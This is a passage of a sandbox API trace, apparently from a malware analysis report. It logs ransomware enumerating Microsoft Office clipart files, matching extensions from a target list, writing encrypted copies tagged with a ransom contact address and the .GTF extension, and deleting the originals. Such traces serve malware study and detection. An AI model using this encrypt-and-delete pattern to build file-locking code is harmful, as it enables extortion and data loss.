	[0081.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString=".bz2") returned 4
	[0081.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString=".7z") returned 3
	[0081.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.772] lstrlenW (lpString=".dbf") returned 4
	[0081.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.772] lstrlenW (lpString=".1cd") returned 4
	[0081.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.772] lstrlenW (lpString=".jpg") returned 4
	[0081.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.772] lstrlenW (lpString=".doc") returned 4
	[0081.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString=".docx") returned 5
	[0081.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.772] lstrlenW (lpString=".pdf") returned 4
	[0081.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString=".xls") returned 4
	[0081.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.772] lstrlenW (lpString=".xlsx") returned 5
	[0081.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.772] lstrlenW (lpString=".ppt") returned 4
	[0081.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.772] lstrlenW (lpString=".zip") returned 4
	[0081.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.772] lstrlenW (lpString=".rar") returned 4
	[0081.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.773] lstrlenW (lpString=".bz2") returned 4
	[0081.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.773] lstrlenW (lpString=".7z") returned 3
	[0081.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.773] lstrlenW (lpString=".dbf") returned 4
	[0081.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.773] lstrlenW (lpString=".1cd") returned 4
	[0081.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 68
	[0081.773] lstrlenW (lpString=".jpg") returned 4
	[0081.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.773] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.773] lstrlenW (lpString="BD00146_.WMF") returned 12
	[0081.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.773] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=28948) returned 1
	[0081.773] CloseHandle (hObject=0x384) returned 1
	[0081.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220
	[0081.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.774] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.774] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.774] GetLastError () returned 0x0
	[0081.774] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x7114, lpOverlapped=0x0) returned 1
	[0082.167] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x7120, lpOverlapped=0x0) returned 1
	[0082.199] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.199] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.199] SetEndOfFile (hFile=0x370) returned 1
	[0082.622] CloseHandle (hObject=0x370) returned 1
	[0082.651] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.651] SetEndOfFile (hFile=0x384) returned 1
	[0082.652] CloseHandle (hObject=0x384) returned 1
	[0082.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1
	[0082.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.652] lstrlenW (lpString=".doc") returned 4
	[0082.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.652] lstrlenW (lpString=".docx") returned 5
	[0082.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.652] lstrlenW (lpString=".pdf") returned 4
	[0082.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.652] lstrlenW (lpString=".xls") returned 4
	[0082.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.653] lstrlenW (lpString=".xlsx") returned 5
	[0082.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.653] lstrlenW (lpString=".ppt") returned 4
	[0082.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.653] lstrlenW (lpString=".zip") returned 4
	[0082.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.653] lstrlenW (lpString=".rar") returned 4
	[0082.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString=".bz2") returned 4
	[0082.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString=".7z") returned 3
	[0082.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.653] lstrlenW (lpString=".dbf") returned 4
	[0082.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.653] lstrlenW (lpString=".1cd") returned 4
	[0082.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.653] lstrlenW (lpString=".jpg") returned 4
	[0082.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.653] lstrlenW (lpString=".doc") returned 4
	[0082.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString=".docx") returned 5
	[0082.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.653] lstrlenW (lpString=".pdf") returned 4
	[0082.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.653] lstrlenW (lpString=".xls") returned 4
	[0082.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.653] lstrlenW (lpString=".xlsx") returned 5
	[0082.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.653] lstrlenW (lpString=".ppt") returned 4
	[0082.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.654] lstrlenW (lpString=".zip") returned 4
	[0082.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.654] lstrlenW (lpString=".rar") returned 4
	[0082.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.654] lstrlenW (lpString=".bz2") returned 4
	[0082.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.654] lstrlenW (lpString=".7z") returned 3
	[0082.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.654] lstrlenW (lpString=".dbf") returned 4
	[0082.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.654] lstrlenW (lpString=".1cd") returned 4
	[0082.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68
	[0082.654] lstrlenW (lpString=".jpg") returned 4
	[0082.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.654] lstrlenW (lpString="BD08868_.WMF") returned 12
	[0082.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.654] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=40206) returned 1
	[0082.654] CloseHandle (hObject=0x384) returned 1
	[0082.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220
	[0082.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.655] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.655] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.655] GetLastError () returned 0x0
	[0082.655] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x9d0e, lpOverlapped=0x0) returned 1
	[0082.657] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x9d10, lpOverlapped=0x0) returned 1
	[0082.659] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.659] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.659] SetEndOfFile (hFile=0x370) returned 1
	[0082.659] CloseHandle (hObject=0x370) returned 1
	[0082.660] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.661] SetEndOfFile (hFile=0x384) returned 1
	[0082.662] CloseHandle (hObject=0x384) returned 1
	[0082.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1
	[0082.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.662] lstrlenW (lpString=".doc") returned 4
	[0082.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.662] lstrlenW (lpString=".docx") returned 5
	[0082.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.662] lstrlenW (lpString=".pdf") returned 4
	[0082.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.662] lstrlenW (lpString=".xls") returned 4
	[0082.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.662] lstrlenW (lpString=".xlsx") returned 5
	[0082.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.662] lstrlenW (lpString=".ppt") returned 4
	[0082.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.663] lstrlenW (lpString=".zip") returned 4
	[0082.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.663] lstrlenW (lpString=".rar") returned 4
	[0082.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString=".bz2") returned 4
	[0082.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString=".7z") returned 3
	[0082.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.663] lstrlenW (lpString=".dbf") returned 4
	[0082.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.663] lstrlenW (lpString=".1cd") returned 4
	[0082.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.663] lstrlenW (lpString=".jpg") returned 4
	[0082.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.663] lstrlenW (lpString=".doc") returned 4
	[0082.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString=".docx") returned 5
	[0082.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.663] lstrlenW (lpString=".pdf") returned 4
	[0082.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString=".xls") returned 4
	[0082.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.663] lstrlenW (lpString=".xlsx") returned 5
	[0082.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.663] lstrlenW (lpString=".ppt") returned 4
	[0082.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.663] lstrlenW (lpString=".zip") returned 4
	[0082.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.663] lstrlenW (lpString=".rar") returned 4
	[0082.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.664] lstrlenW (lpString=".bz2") returned 4
	[0082.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.664] lstrlenW (lpString=".7z") returned 3
	[0082.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.664] lstrlenW (lpString=".dbf") returned 4
	[0082.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.664] lstrlenW (lpString=".1cd") returned 4
	[0082.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0082.664] lstrlenW (lpString=".jpg") returned 4
	[0082.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.664] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.664] lstrlenW (lpString="BD09031_.WMF") returned 12
	[0082.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.665] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=47786) returned 1
	[0082.665] CloseHandle (hObject=0x384) returned 1
	[0082.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220
	[0082.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0082.665] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.665] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.665] GetLastError () returned 0x0
	[0082.665] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xbaaa, lpOverlapped=0x0) returned 1
	[0082.668] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xbab0, lpOverlapped=0x0) returned 1
	[0082.670] ReadFile (in: hFile=0x384, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.670] WriteFile (in: hFile=0x370, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.670] SetEndOfFile (hFile=0x370) returned 1
	[0082.670] CloseHandle (hObject=0x370) returned 1
	[0082.671] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.672] SetEndOfFile (hFile=0x384) returned 1
	[0082.673] CloseHandle (hObject=0x384) returned 1
	[0082.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1
	[0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.673] lstrlenW (lpString=".doc") returned 4
	[0082.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.673] lstrlenW (lpString=".docx") returned 5
	[0082.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.673] lstrlenW (lpString=".pdf") returned 4
	[0082.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.673] lstrlenW (lpString=".xls") returned 4
	[0082.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.673] lstrlenW (lpString=".xlsx") returned 5
	[0082.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.674] lstrlenW (lpString=".ppt") returned 4
	[0082.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0082.674] lstrlenW (lpString=".zip") returned 4
